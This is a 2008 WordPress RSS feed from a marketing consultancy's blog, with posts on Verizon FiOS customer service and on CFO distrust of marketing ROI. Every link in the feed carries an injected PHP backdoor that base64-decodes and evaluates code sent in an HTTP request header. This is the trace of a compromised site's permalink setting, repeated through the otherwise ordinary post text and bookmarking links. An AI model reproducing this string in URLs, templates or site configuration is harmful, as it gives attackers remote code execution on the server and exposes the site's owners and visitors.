<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>MAP Consulting, LLC &#187; &#187; Process</title>
	<atom:link href="http://mapconsultingllc.com/blog/category/process/feed/" rel="self" type="application/rss+xml" />
	<link>http://mapconsultingllc.com/blog</link>
	<description>Quo vadis? Direct Response That Gets Results</description>
	<lastBuildDate>Thu, 27 Nov 2008 17:01:51 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>$100 Fine for Bad Customer Service</title>
		<link>http://mapconsultingllc.com/blog/2008/08/12/100-fine-for-bad-customer-service/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://mapconsultingllc.com/blog/2008/08/12/100-fine-for-bad-customer-service/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 12 Aug 2008 14:44:12 +0000</pubDate>
		<dc:creator>Mark</dc:creator>
				<category><![CDATA[Branding]]></category>
		<category><![CDATA[CRM]]></category>
		<category><![CDATA[Offer]]></category>
		<category><![CDATA[Process]]></category>
		<category><![CDATA[customer service]]></category>
		<category><![CDATA[access]]></category>
		<category><![CDATA[best buy]]></category>
		<category><![CDATA[consumerist]]></category>
		<category><![CDATA[customer]]></category>
		<category><![CDATA[escalation]]></category>
		<category><![CDATA[FiOS]]></category>
		<category><![CDATA[free tv]]></category>
		<category><![CDATA[gift card]]></category>
		<category><![CDATA[good customer service]]></category>
		<category><![CDATA[ivan seidenberg]]></category>
		<category><![CDATA[l l bean]]></category>
		<category><![CDATA[lousy customer service]]></category>
		<category><![CDATA[problems]]></category>
		<category><![CDATA[quality customer service]]></category>
		<category><![CDATA[Verizon]]></category>

		<guid isPermaLink="false">http://mapconsultingllc.com/blog/?p=102</guid>
		<description><![CDATA[I've written about good customer service in the past, highlighting my excellent experience with L.L. Bean.  I've postulated that quality customer service is actually free, because the incremental sales more than make up for "excessive" talk time and refunds/credits granted by your customer service representatives.

Here's a trivially-observed example of what lousy customer service will cost you.  In this example, from Verizon, it's a minimum of $100.]]></description>
			<content:encoded><![CDATA[<!-- sphereit start --><p><a title="Publicidad" href="http://www.flickr.com/photos/62518311@N00/119134037/" target="_blank"><img style="border: 5px solid black; float: left; margin-left: 5px; margin-right: 5px;" src="http://farm1.static.flickr.com/55/119134037_57ce73e338_m.jpg" alt="Publicidad" /></a>I've written about good customer service in the past, highlighting my <a title="Gold-plated customer service from L.L. Bean" href="http://mapconsultingllc.com/blog/2008/06/04/whats-the-roi-on-gold-plated-customer-service/" target="_blank">excellent experience with L.L. Bean.</a> I've postulated that <strong>quality customer service is actually free</strong>, because the incremental sales more than make up for "excessive" talk time and refunds/credits granted by your customer service representatives.</p>
<p>Here's a trivially-observed example of what lousy customer service will cost you.  <strong>In this example, from Verizon, it's a minimum of $100.</strong></p>
<p>The saga unfolds after the break.<span id="more-102"></span></p>
<p>We made the switch to Verizon FiOS in December, after waiting for years. <strong> It's a terrific product</strong>, with great HD picture quality, and speedy and stable high-speed Internet access.  The installer was excellent and courteous and made sure everything was working perfectly before he left.</p>
<p>The ability of Verizon to handle an easy premium offer (the infamous HD Free TV offer)?  Not so much.</p>
<p>I've been working email and phone conversations with Verizon since January trying to get my $200 Best Buy gift card, which I selected in lieu of the 19" HDTV.  Since then, I've amassed a string of emails with the Verizon executive escalation team which have gone unanswered since January.</p>
<p>Finally, in frustration, I resorted to <a title="The Consumerist" href="http://consumerist.com/" target="_blank">The Consumerist</a>'s list of <a title="Consumerist's contact information for Ivan Seidenberg" href="http://consumerist.com/364319/call-the-ceo-of-verizon" target="_blank">Verizon executive contacts</a> and sent an email to <a title="Ivan Seidenberg profile" href="http://www.forbes.com/finance/mktguideapps/personinfo/FromMktGuideIdPersonTearsheet.jhtml?passedMktGuideId=168339" target="_blank">Ivan Seidenberg</a> on Friday at 5:30.</p>
<p><strong>Talk about quick reaction!</strong></p>
<p>At Monday at 9:30, I received a call from a very nice young man who was very apologetic and who was clearly empowered to do whatever it took to make me happy.  He indicated that the $100 gift card I received in January was the first part of a win-back offer and that I'd get the other $100 in month 13.</p>
<p><strong>The problem was that I never responded to a win-back offer</strong>.  I went for the FiOS triple play/free TV offer.  However, I didn't want to get something I didn't deserve, so I let the young man know that if they just sent me a $100 gift card, I'd consider us even and not to worry about anything else.</p>
<p>Of course, he had no way to give me just what was owed to me ($100 of gift cards) and had to resort to shipping out a $200 card.  I practically had to beg him not to FedEx it to me.</p>
<p><strong>So Verizon will get stuck paying a $100 penalty for bad customer service</strong>, and that's not counting the time and effort expended via the forwarding of the complaint email from Mr. Seidenberg down the food chain and the inevitable executive escalation report that will be fed back <span style="text-decoration: underline;">up</span> the chain at some point.</p>
<p>Now, want to take a guess what I expect in January or February of 2009?  Yep, I suspect the CRM systems of Verizon have been so fouled up by the free TV offer debacle that they'll spit out another $100 card for me.</p>
<p><strong>The worst part of the whole experience actually took place yesterday afternoon.</strong></p>
<p>I received a very uncomfortable call from one of my prior executive escalation contact's supervisor.  The supervisor apologized to me for her employee's lack of follow-up to me, and let me know it would be "handled appropriately" and that the person would be "reprimanded."  Yecch.  <strong>It felt like one of those unconfortable visits when your neighbor's kid hits a ball through your window</strong> and they come over with the kid's ear in a vise grip and make them apologize.  I couldn't get off the phone quickly enough and couldn't believe that Verizon was treating its employees like this--both the supervisor, who clearly wasn't comfortable making the call, and the employee.</p>
<p><strong>Can you imagine how this employee--who's a grown adult, with a mortgage, family, etc.--must feel?</strong> I wonder how far he/she will deviate from the Verizon manual going forward and actually even <span style="text-decoration: underline;">try</span> to use their brain?</p>
<p>I also wonder what brand of bureaucratic punishment will be exacted.  Banishment from the department bowling team?  Six months of replenishing the floor candy bowl?</p>
<p><strong>All it would have taken was for Verizon to have a system</strong> in place that let their employees solve customer problems the first time, even to the extent of spending a little bit of money to address the root cause.  This one resolution must have cost them in total the price of 2 or 3 TVs; multiplied by thousands, it's got to be one of the all-time promotional disasters.</p>
<p>What are you doing that's L.L. Bean-like?  What are you doing that's Verizon-like?  More importantly, what are you doing that's more of the former and less of the latter?</p>
<p><small><a title="Attribution License" href="http://creativecommons.org/licenses/by/2.0/" target="_blank"><img src="http://mapconsultingllc.com/blog/wp-content/plugins/photo_dropper/images/cc.png" border="0" alt="Creative Commons License" width="16" height="16" align="absmiddle" /></a> <a href="http://www.photodropper.com/photos/" target="_blank">photo</a> credit: <a title="Daquella manera" href="http://www.flickr.com/photos/62518311@N00/119134037/" target="_blank">Daquella manera</a></small></p>
<!-- Social Bookmarking Reloaded BEGIN --><div class="social_bookmark"><em>Bookmark to:</em><br /><a class="social_img" onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,border=0,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://del.icio.us/post?url=http://mapconsultingllc.com/blog/2008/08/12/100-fine-for-bad-customer-service/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/&amp;title=%24100+Fine+for+Bad+Customer+Service" title="Add '$100 Fine for Bad Customer Service' to Del.icio.us"><img src="http://mapconsultingllc.com/blog/wp-content/plugins/social-bookmarking-reloaded/delicious.png" title="Add '$100 Fine for Bad Customer Service' to Del.icio.us" alt="Add '$100 Fine for Bad Customer Service' to Del.icio.us" /></a><a class="social_img" onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,border=0,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://digg.com/submit?phase=2&amp;url=http://mapconsultingllc.com/blog/2008/08/12/100-fine-for-bad-customer-service/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/&amp;title=%24100+Fine+for+Bad+Customer+Service" title="Add '$100 Fine for Bad Customer Service' to digg"><img src="http://mapconsultingllc.com/blog/wp-content/plugins/social-bookmarking-reloaded/digg.png" title="Add '$100 Fine for Bad Customer Service' to digg" alt="Add '$100 Fine for Bad Customer Service' to digg" /></a><a class="social_img" onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,border=0,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://reddit.com/submit?url=http://mapconsultingllc.com/blog/2008/08/12/100-fine-for-bad-customer-service/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/&amp;title=%24100+Fine+for+Bad+Customer+Service" title="Add '$100 Fine for Bad Customer Service' to reddit"><img src="http://mapconsultingllc.com/blog/wp-content/plugins/social-bookmarking-reloaded/reddit.png" title="Add '$100 Fine for Bad Customer Service' to reddit" alt="Add '$100 Fine for Bad Customer Service' to reddit" /></a><a class="social_img" onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,border=0,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.technorati.com/faves?add=http://mapconsultingllc.com/blog/2008/08/12/100-fine-for-bad-customer-service/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/" title="Add '$100 Fine for Bad Customer Service' to Technorati"><img src="http://mapconsultingllc.com/blog/wp-content/plugins/social-bookmarking-reloaded/technorati.png" title="Add '$100 Fine for Bad Customer Service' to Technorati" alt="Add '$100 Fine for Bad Customer Service' to Technorati" /></a><a class="social_img" onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,border=0,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.stumbleupon.com/submit?url=http://mapconsultingllc.com/blog/2008/08/12/100-fine-for-bad-customer-service/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/&amp;title=%24100+Fine+for+Bad+Customer+Service" title="Add '$100 Fine for Bad Customer Service' to Stumble Upon"><img src="http://mapconsultingllc.com/blog/wp-content/plugins/social-bookmarking-reloaded/stumbleupon.png" title="Add '$100 Fine for Bad Customer Service' to Stumble Upon" alt="Add '$100 Fine for Bad Customer Service' to Stumble Upon" /></a><a class="social_img" onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,border=0,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.google.com/bookmarks/mark?op=edit&amp;output=popup&amp;bkmk=http://mapconsultingllc.com/blog/2008/08/12/100-fine-for-bad-customer-service/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/&amp;title=%24100+Fine+for+Bad+Customer+Service" title="Add '$100 Fine for Bad Customer Service' to Google Bookmarks"><img src="http://mapconsultingllc.com/blog/wp-content/plugins/social-bookmarking-reloaded/google.png" title="Add '$100 Fine for Bad Customer Service' to Google Bookmarks" alt="Add '$100 Fine for Bad Customer Service' to Google Bookmarks" /></a><a class="social_img" onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,border=0,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://sphinn.com/submit.php?url=http://mapconsultingllc.com/blog/2008/08/12/100-fine-for-bad-customer-service/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/&amp;title=%24100+Fine+for+Bad+Customer+Service" title="Add '$100 Fine for Bad Customer Service' to Sphinn"><img src="http://mapconsultingllc.com/blog/wp-content/plugins/social-bookmarking-reloaded/sphinn.png" title="Add '$100 Fine for Bad Customer Service' to Sphinn" alt="Add '$100 Fine for Bad Customer Service' to Sphinn" /></a><a class="social_img" onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,border=0,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.facebook.com/share.php?u=http://mapconsultingllc.com/blog/2008/08/12/100-fine-for-bad-customer-service/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/" title="Add '$100 Fine for Bad Customer Service' to FaceBook"><img src="http://mapconsultingllc.com/blog/wp-content/plugins/social-bookmarking-reloaded/facebook.png" title="Add '$100 Fine for Bad Customer Service' to FaceBook" alt="Add '$100 Fine for Bad Customer Service' to FaceBook" /></a><a class="social_img" onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,border=0,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.myspace.com/Modules/PostTo/Pages/?t=%24100+Fine+for+Bad+Customer+Service&amp;c=http://mapconsultingllc.com/blog/2008/08/12/100-fine-for-bad-customer-service/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/" title="Add '$100 Fine for Bad Customer Service' to MySpace"><img src="http://mapconsultingllc.com/blog/wp-content/plugins/social-bookmarking-reloaded/myspace.png" title="Add '$100 Fine for Bad Customer Service' to MySpace" alt="Add '$100 Fine for Bad Customer Service' to MySpace" /></a></div>
<!-- Social Bookmarking Reloaded END --><!-- sphereit end --><span style="margin-bottom:40px; border-bottom:none;"><a class="iconsphere" title="Sphere: Related Content" onclick="return Sphere.Widget.search('http://mapconsultingllc.com/blog/2008/08/12/100-fine-for-bad-customer-service/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/')" href="http://www.sphere.com/search?q=sphereit:http://mapconsultingllc.com/blog/2008/08/12/100-fine-for-bad-customer-service/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/">Sphere: Related Content</a></span><br/><br/>]]></content:encoded>
			<wfw:commentRss>http://mapconsultingllc.com/blog/2008/08/12/100-fine-for-bad-customer-service/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Should 90% of CMOs be Fired?</title>
		<link>http://mapconsultingllc.com/blog/2008/07/16/should-90-of-cmos-be-fired/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://mapconsultingllc.com/blog/2008/07/16/should-90-of-cmos-be-fired/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 16 Jul 2008 22:38:23 +0000</pubDate>
		<dc:creator>Mark</dc:creator>
				<category><![CDATA[Analytics]]></category>
		<category><![CDATA[Featured]]></category>
		<category><![CDATA[Process]]></category>
		<category><![CDATA[Strategy]]></category>
		<category><![CDATA[budgeting]]></category>
		<category><![CDATA[cfo]]></category>
		<category><![CDATA[cmo]]></category>
		<category><![CDATA[financial executives]]></category>
		<category><![CDATA[leadership]]></category>
		<category><![CDATA[management]]></category>
		<category><![CDATA[MAP Consulting LLC]]></category>
		<category><![CDATA[Mark Pilipczuk]]></category>
		<category><![CDATA[marketers]]></category>
		<category><![CDATA[Marketing]]></category>
		<category><![CDATA[marketing management analytics]]></category>
		<category><![CDATA[marketing ROI]]></category>
		<category><![CDATA[marketing team]]></category>
		<category><![CDATA[metrics]]></category>
		<category><![CDATA[modeling]]></category>
		<category><![CDATA[planning]]></category>
		<category><![CDATA[ROI]]></category>
		<category><![CDATA[ROMI]]></category>
		<category><![CDATA[senior management]]></category>
		<category><![CDATA[Testing]]></category>
		<category><![CDATA[thinking]]></category>

		<guid isPermaLink="false">http://mapconsultingllc.com/blog/?p=83</guid>
		<description><![CDATA[A recent study, carried out by Marketing Management Analytics, Financial Executive and Ed See, makes me think that more senior marketing executives should double-check the shine on their resume and perhaps consider a few more networking lunches in the near future.

A very brief summary of that report found in Ad Age frightens me and brings to mind a few courses of action that you can take today, if you find yourself in a similar situation.]]></description>
			<content:encoded><![CDATA[<!-- sphereit start --><p><a title="Guillotine" href="http://www.flickr.com/photos/49467596@N00/2466484190/" target="_blank"><img style="border: 5px solid black; float: left; margin-left: 5px; margin-right: 5px;" src="http://farm3.static.flickr.com/2118/2466484190_cf5a53afdf_t.jpg" alt="Guillotine" /></a>OK, <strong>as a CMO you're going to be </strong><a title="Brand Autopsy on Spencer Stuartn research on CMO tenure" href="http://brandautopsy.typepad.com/brandautopsy/2004/07/the_shrinking_t.html" target="_blank"><strong>fired</strong> in ~23 months</a> anyway.</p>
<p><strong>But a recent study</strong>, carried out by Marketing Management Analytics, <em>Financial Executive</em> and Ed See, makes me think that more senior marketing executives should double-check the shine on their resume and perhaps consider a few more networking lunches in the near future.</p>
<p>A <a title="Ad Age: Survey Finds CFOs Skeptical of Their Own Firms' ROI Claims" href="http://adage.com/article?article_id=129629" target="_blank">very brief summary of that report</a> found in Ad Age frightens me and brings to mind <strong>a few courses of action</strong> that you can take <span style="text-decoration: underline;">today</span>, if you find yourself in a similar situation.</p>
<p><span id="more-83"></span><strong>A few quick points from the study follow.</strong> The <strong>CFOs</strong> interviewed said that:</p>
<ul>
<li>9/10 of CFOs don't use marketing ROI metrics in development of marketing budgets.</li>
<li>7/10 don't use their company marketing forecasts for earnings guidance or public disclosures.</li>
<li>6/10 believe their marketing departments have inadequate understanding of financial controls.</li>
<li>less than 4/10 said their company marketing forecasts were audit-ready.</li>
</ul>
<p><strong>From the CMOs</strong> and senior marketing leaders surveyed:</p>
<ul>
<li>Only 33% of CMOs reported "full cooperation and an open dialog" with finance in setting metrics and methodologies for marketing ROI calculations in 2008.</li>
<li><strong>Only 10%</strong> indicated that they could forecast the effect of a 10% cut in marketing spend.</li>
<li><strong>Only 14%</strong> said senior management had confidence in their firms' marketing forecasts.</li>
</ul>
<p><strong>To summarize:</strong></p>
<ol>
<li><strong>CMOs ability to estimate their impact</strong> on the business isn't even of ballpark (+/- 10%) quality.</li>
<li><strong>CMOs don't have a great grasp of providing accurate</strong> and reliable forecasts of investments that will pass reasonable audit scrutiny.</li>
<li><strong>CMO's don't play well with others.</strong></li>
<li><strong>The CFO's have so little confidence in the marketers</strong> that they crunch the numbers with relatively little input from the marketing team.</li>
</ol>
<p><strong>So what do you do</strong>, if you're a senior marketing leader and find yourself in a situation like the above?</p>
<p><strong>First, accept you have a problem</strong>.  Get with your CFO and let them know one of your top priorities is to fix the problem.  Make sure you both understand what the CFO's <span style="text-decoration: underline;">specific</span> problems are with your marketing planning, forecasting, ROI calculations and assumption development processes.</p>
<p><strong>Second, triage.</strong> <strong> Figure out what you're doing wrong</strong>, but as importantly, figure out what you're doing right (and I <span style="text-decoration: underline;">know</span> you're doing a number of things correctly) and learn from those processes that are working well.  Work out a punch list with your CFO, and understand the "A" priorities.</p>
<p><strong>Third, partner with your CFO to improve your process.</strong> I insist in the concept of the financial guys driving the calculations and modeling side of the equation, the marketing team leading the assumptions and scenario planning, and then a "team of two" on running the iterations of your plan or forecast.  (The marketing team should pressure test the calculations and the financial team should pressure test the marketing assumptions.)</p>
<p><strong>Fourth, own the issue.</strong> As CMO or senior marketing leader, if your financial leadership doesn't trust your ability help get to clear marketing metrics and ROI calculations, it's <span style="text-decoration: underline;"><strong>your problem</strong></span>, not theirs.  Make it really clear that <span style="text-decoration: underline;">you</span> own the forecasts, plans and budgets and that <span style="text-decoration: underline;">you'll</span> be the one to be held accountable for the hits and misses--not the financial guys who built the models, nor can you blame the <em>last</em> CMO for problems. <strong> It's on you</strong>.</p>
<p><strong>So do you have problems with your planning and forecasting?</strong> Are you a financial pro who needs some help in improving the planning and forecasting competency of your marketing team?  Let's talk, here or on the phone.</p>
<p><small><a title="Attribution-ShareAlike License" href="http://creativecommons.org/licenses/by-sa/2.0/" target="_blank"><img src="http://mapconsultingllc.com/blog/wp-content/plugins/photo_dropper/images/cc.png" border="0" alt="Creative Commons License" width="16" height="16" align="absmiddle" /></a> <a href="http://www.photodropper.com/photos/" target="_blank">photo</a> credit: <a title="Gary Denness" href="http://www.flickr.com/photos/49467596@N00/2466484190/" target="_blank">Gary Denness</a></small></p>
<!-- Social Bookmarking Reloaded BEGIN --><div class="social_bookmark"><em>Bookmark to:</em><br /><a class="social_img" onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,border=0,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://del.icio.us/post?url=http://mapconsultingllc.com/blog/2008/07/16/should-90-of-cmos-be-fired/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/&amp;title=Should+90%25+of+CMOs+be+Fired%3F" title="Add 'Should 90% of CMOs be Fired?' to Del.icio.us"><img src="http://mapconsultingllc.com/blog/wp-content/plugins/social-bookmarking-reloaded/delicious.png" title="Add 'Should 90% of CMOs be Fired?' to Del.icio.us" alt="Add 'Should 90% of CMOs be Fired?' to Del.icio.us" /></a><a class="social_img" onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,border=0,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://digg.com/submit?phase=2&amp;url=http://mapconsultingllc.com/blog/2008/07/16/should-90-of-cmos-be-fired/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/&amp;title=Should+90%25+of+CMOs+be+Fired%3F" title="Add 'Should 90% of CMOs be Fired?' to digg"><img src="http://mapconsultingllc.com/blog/wp-content/plugins/social-bookmarking-reloaded/digg.png" title="Add 'Should 90% of CMOs be Fired?' to digg" alt="Add 'Should 90% of CMOs be Fired?' to digg" /></a><a class="social_img" onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,border=0,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://reddit.com/submit?url=http://mapconsultingllc.com/blog/2008/07/16/should-90-of-cmos-be-fired/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/&amp;title=Should+90%25+of+CMOs+be+Fired%3F" title="Add 'Should 90% of CMOs be Fired?' to reddit"><img src="http://mapconsultingllc.com/blog/wp-content/plugins/social-bookmarking-reloaded/reddit.png" title="Add 'Should 90% of CMOs be Fired?' to reddit" alt="Add 'Should 90% of CMOs be Fired?' to reddit" /></a><a class="social_img" onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,border=0,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.technorati.com/faves?add=http://mapconsultingllc.com/blog/2008/07/16/should-90-of-cmos-be-fired/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/" title="Add 'Should 90% of CMOs be Fired?' to Technorati"><img src="http://mapconsultingllc.com/blog/wp-content/plugins/social-bookmarking-reloaded/technorati.png" title="Add 'Should 90% of CMOs be Fired?' to Technorati" alt="Add 'Should 90% of CMOs be Fired?' to Technorati" /></a><a class="social_img" onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,border=0,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.stumbleupon.com/submit?url=http://mapconsultingllc.com/blog/2008/07/16/should-90-of-cmos-be-fired/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/&amp;title=Should+90%25+of+CMOs+be+Fired%3F" title="Add 'Should 90% of CMOs be Fired?' to Stumble Upon"><img src="http://mapconsultingllc.com/blog/wp-content/plugins/social-bookmarking-reloaded/stumbleupon.png" title="Add 'Should 90% of CMOs be Fired?' to Stumble Upon" alt="Add 'Should 90% of CMOs be Fired?' to Stumble Upon" /></a><a class="social_img" onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,border=0,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.google.com/bookmarks/mark?op=edit&amp;output=popup&amp;bkmk=http://mapconsultingllc.com/blog/2008/07/16/should-90-of-cmos-be-fired/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/&amp;title=Should+90%25+of+CMOs+be+Fired%3F" title="Add 'Should 90% of CMOs be Fired?' to Google Bookmarks"><img src="http://mapconsultingllc.com/blog/wp-content/plugins/social-bookmarking-reloaded/google.png" title="Add 'Should 90% of CMOs be Fired?' to Google Bookmarks" alt="Add 'Should 90% of CMOs be Fired?' to Google Bookmarks" /></a><a class="social_img" onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,border=0,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://sphinn.com/submit.php?url=http://mapconsultingllc.com/blog/2008/07/16/should-90-of-cmos-be-fired/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/&amp;title=Should+90%25+of+CMOs+be+Fired%3F" title="Add 'Should 90% of CMOs be Fired?' to Sphinn"><img src="http://mapconsultingllc.com/blog/wp-content/plugins/social-bookmarking-reloaded/sphinn.png" title="Add 'Should 90% of CMOs be Fired?' to Sphinn" alt="Add 'Should 90% of CMOs be Fired?' to Sphinn" /></a><a class="social_img" onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,border=0,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.facebook.com/share.php?u=http://mapconsultingllc.com/blog/2008/07/16/should-90-of-cmos-be-fired/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/" title="Add 'Should 90% of CMOs be Fired?' to FaceBook"><img src="http://mapconsultingllc.com/blog/wp-content/plugins/social-bookmarking-reloaded/facebook.png" title="Add 'Should 90% of CMOs be Fired?' to FaceBook" alt="Add 'Should 90% of CMOs be Fired?' to FaceBook" /></a><a class="social_img" onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,border=0,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.myspace.com/Modules/PostTo/Pages/?t=Should+90%25+of+CMOs+be+Fired%3F&amp;c=http://mapconsultingllc.com/blog/2008/07/16/should-90-of-cmos-be-fired/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/" title="Add 'Should 90% of CMOs be Fired?' to MySpace"><img src="http://mapconsultingllc.com/blog/wp-content/plugins/social-bookmarking-reloaded/myspace.png" title="Add 'Should 90% of CMOs be Fired?' to MySpace" alt="Add 'Should 90% of CMOs be Fired?' to MySpace" /></a></div>
<!-- Social Bookmarking Reloaded END --><!-- sphereit end --><span style="margin-bottom:40px; border-bottom:none;"><a class="iconsphere" title="Sphere: Related Content" onclick="return Sphere.Widget.search('http://mapconsultingllc.com/blog/2008/07/16/should-90-of-cmos-be-fired/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/')" href="http://www.sphere.com/search?q=sphereit:http://mapconsultingllc.com/blog/2008/07/16/should-90-of-cmos-be-fired/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/">Sphere: Related Content</a></span><br/><br/>]]></content:encoded>
			<wfw:commentRss>http://mapconsultingllc.com/blog/2008/07/16/should-90-of-cmos-be-fired/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Can Marketing Cure What Ails You?</title>
		<link>http://mapconsultingllc.com/blog/2008/07/15/can-marketing-cure-what-ails-you/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://mapconsultingllc.com/blog/2008/07/15/can-marketing-cure-what-ails-you/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
